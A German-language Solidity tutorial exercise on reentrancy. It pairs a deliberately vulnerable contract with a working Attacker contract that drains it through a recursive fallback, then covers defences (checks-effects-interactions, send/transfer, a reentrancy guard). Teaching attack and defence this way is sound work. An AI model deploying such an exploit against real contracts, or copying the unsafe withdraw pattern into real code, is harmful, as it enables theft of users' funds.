Re-Entrancy
Versuchen Sie, sich so viele Ether wie möglich aus dem folgenden Contract zu stehlen:
Den Code finden Sie auch in der Datei 04_ReEntrancy_Vulnerable.sol.
pragma solidity ^0.8.26;
contract Vulnerable{
mapping (address => uint256) public balanceOf;
constructor() payable{
}
function pay() external payable{
balanceOf[msg.sender] = msg.value;
}
function withdraw() external{
uint256 amount = balanceOf[msg.sender];
(bool success,) = msg.sender.call{value: amount}(""); // Es wird gleich alles abgehoben
require(success, "Transfer failed");
balanceOf[msg.sender] = 0;
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
}
Lösung
pragma solidity ^0.8.26;
contract Attacker{
address payable vAdress; // Adresse des anzugreifenden Smart Contracts eintragen.
uint256 amount = 1000000000000000000; // 1 Ether
uint256 public myBalance = address(this).balance;
constructor(address _victimAddress) public payable{ // Beim Deployen wird 1 Ether mitgeschickt.
vAdress = payable(_victimAddress);
}
function payVictim() public{
vAdress.call{value: amount}(abi.encodeWithSignature("pay()"));
}
function attack()public{
vAdress.call(abi.encodeWithSignature("withdraw()"));
}
fallback() external payable { // Fallback function
vAdress.call(abi.encodeWithSignature("withdraw()"));
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
}
Den Code finden Sie auch in der Datei 04_ReEntrancy_Exploit.sol.
Schutz
Es gibt mehrere Lösungen:
1. Check-Effects-Interaction-Pattern nutzen
Mit diesem Muster ist ein erneutes Aufrufen erfolglos, da der Kontostand bereits angepasst wurde.
- Erst prüfen, ob berechtigt (z. B. ausreichend Guthaben)
- Kontostände anpassen
- Überweisung durchführen
function withdraw() external{
uint256 amount = balanceOf[msg.sender]; // Check
balanceOf[msg.sender] = 0; // Effect
(bool success,) = msg.sender.call{value: amount}(""); // Interaction; Es wird gleich alles abgehoben
require(success, "Transfer failed");
}
Den geschützten Smart Contract finden Sie in folgender Datei: 04_ReEntrancy_Schutz.sol.
2. send() und transfer() nutzen
Die Funktionen <address>.send() und <address>.transfer() schicken nur 2.300 Gas mit. Dies ist nicht genug, um eine umfangreiche Fallbackfunktion auszuführen. Eine Re-entrancy-Attacke scheitert daher an der zu geringen Gas-Menge.
Kurze Zeit nach Beschränkung der Gas-Menge von send() und transfer() wurde die Nutzung als Standardoption angesehen.
Jedoch wird dies zunehmend kritisch betrachtet, da die Gas-Menge so gering ist, dass eine Erhöhung der Gas-Kosten für manche Befehle dazu führen können, dass ein Empfänger-Smart Contract nicht mehr funktioniert. Stattdessen wird auf die Verantwortung der Entwickler gesetzt und address.call{}() empfohlen, welches die Höchstmenge an Ehter bereitstellt.
3. Re-entrancy Guard nutzen
Ein Re-entrancy guard ist ein Modifier, der prüft, ob die Funktion bereits “betreten” wurde.
Code siehe Datei 04_Reentrancy_Schutz_Guard.sol.
pragma solidity 0.8.26;
contract ReentrancyGuard{
bool public locked;
modifier reentrancyGuard(){
require(!locked);
locked = true;
_;
locked = false;
}
function payContract() payable public{
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
function payoutFunction() reentrancyGuard() public{
(bool success, bytes memory result) = msg.sender.call{value:1000}(""); //10000 Wei
}
}
Den Quellcode finden Sie auch in der Datei.
Es gibt auch Bibliotheken, die diesen Re-entrancy-Schutz bieten.